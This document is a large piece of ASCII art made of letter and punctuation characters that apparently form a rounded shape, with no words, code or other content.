MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; .lKWMMMMMMMMMMMMMMWNK0KWMMMMMMWWWMMMN0000XWMMMMMMMNKd'..'..dX00Ol'.......... 'OWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX: .;ONMMMMMMMWWMMMMWK000NMMMMMMWXXWMMWK00O0KWMMMMMMMN0d',xd'.:ol:,.....'.''.... :XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKl. ...c0NMWWMMMWNNWMWX000KNMMMMMNK0XMMMN000000XMMMMMMWXOl.:00c...........'''''.... .kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNk, .......l0NWXXWMMNKXWNK00OKNMMMMNK0KWMMMX00O000KWMMMMMNKx,.:l,................''... .oWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNo. ...'....'oKNX0KWMWK0XN0O00KNMMMNK00KWMMWX00000O0NMMMWNKk:...... .....'.. cNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd. ..''......'dOOO0XWNK0KX0O000KNWWX0000NMMWK0000000XWWNX0x:. ......................... lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk' ..............';lONX0O0K0O0000KXXK0000KNMWK0000000KKOdc,............''''''''''....... .dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0: .................'lkO000000000000000000KWN0OO000Oxo:'..........'''''''''''''''''... ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0l. ... .....'''''......,dOOO0000000000000000XX0OOkdc;........'''''''''''''''''''''''.... .oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo. ........'''''............,;;:clodxkOOO000000K0xo:'.........'''''''''''''''''''''''''.... .kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO;. .........''''.......................',;;cldxkdl;...........'''''''''''''''''''''''''''.... .kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOl' .......'''''........''''''''''..........................''''''''''''''''''''''''''''''.... 'OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOl'. ........''''........'''''''''''''''.......................''''''''''''''''''''''''''''.... :XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c. ..........'''........'''''''''''''''''''''..................'''''''''''''''''''''''''''..... .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd. .. ...''''......''........'''''''''''''''''''''''''''.............''''''''''''''''''''''''''... .lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd. ......'''''.................'''''''''''''''''''''''''''''''''.......''''''''''''''''''''''''... .cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMk' ......''''''''................'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''..... .cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl .......'''''''''................''''''''''''''''''''''''''''''''''''''''''''''''''''''''..... .dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX: .....''..''''''''''''.............'''''''''''''''''''''''''''''''''''''''''''''''''''''''.... .;OWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX: .....''......''''''''''.............''''''''''''''''''''''''''''''''''''''''''''''''''..... .oXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWo. .....'..........'''''''''................'''''''''''''''''''''''''''''''''''''''''''..... .c0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0; ..........................................................''''''''''''''''''''''....... .oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO' ................................ ....................'''''''''''''''''............. .xMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO;. ......................... ............................................ .xMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo' ....................... ..... . ........................................''.. .kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKo,. ................... ............... ..................................''''.. ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOo;.. .................................... ...........'''''... .lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKOdlc;'. ..'''''''................................................'''''''''.... .oWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWXl. ..''''''''................'''...................'''''''''''''''....... lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO, ...'''''''................''''''''''''''''''''''''''''''''''.......''. cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNo. ..''''''....................'''''''''''''''''''''''''''.........'''.. cNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:. .....'.........................'''''''.....''''''''..........''''... .dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO' ..........................................'..............'''''.... .kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWd. ......................................................''''''........ .;0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; ..''......,''......................................''''''............. ,0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWd. ...'''...','............''...................''''''...............'''.. ;0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWo. .........',...',,'''.....'........''''''''''...................''''''... .cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0, .......',....'''''....''.................................''''''''...... .oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNo. ...... ..,'............''...............................'''''''''........ 'kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd. ...........'''''''''..'''.. ......................'''''''''''''......... :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKc. ...''''..................... ..........'''''''''''''''''''''''''............ .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO;. ...''''''......... ...... ......'''''''''''''''''''''''''........''.... .dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx' ......''''.......... .............'''''''''''''''''''''''........''.... .:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk. .........'......... ... ....'........''''''''''''''''''''.........''..... .oXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; ...''.............. 'dKo. ...'.........''''''''''''''''.........''...... .:OWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMk. ..''''''......... .;OWMK: ...'''.........'''''''''.............''.... .;kNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO' ....''''''...... .cKMMMWd. ..'''.........................''........ .;xXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNo. .............. .cXMMMMMk. ...'''.....................''....... .cONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd' ........... :KMMMMMMk. ...''''......................... ..cxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKo,. ....... 'OMMMMMMMk. ........................... .;lkXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXOl,. .. .oNMMMMMMMK; .................. .':okKNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0d;.. .:KMMMMMMMMWk' ...,:ldk0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNKxc,..';oXMMMMMMMMMMWKo,. ......',;:cldxk0KNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXXXNWMMMMMMMMMMMMMMN0kxxdxxkkO00KXXNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM 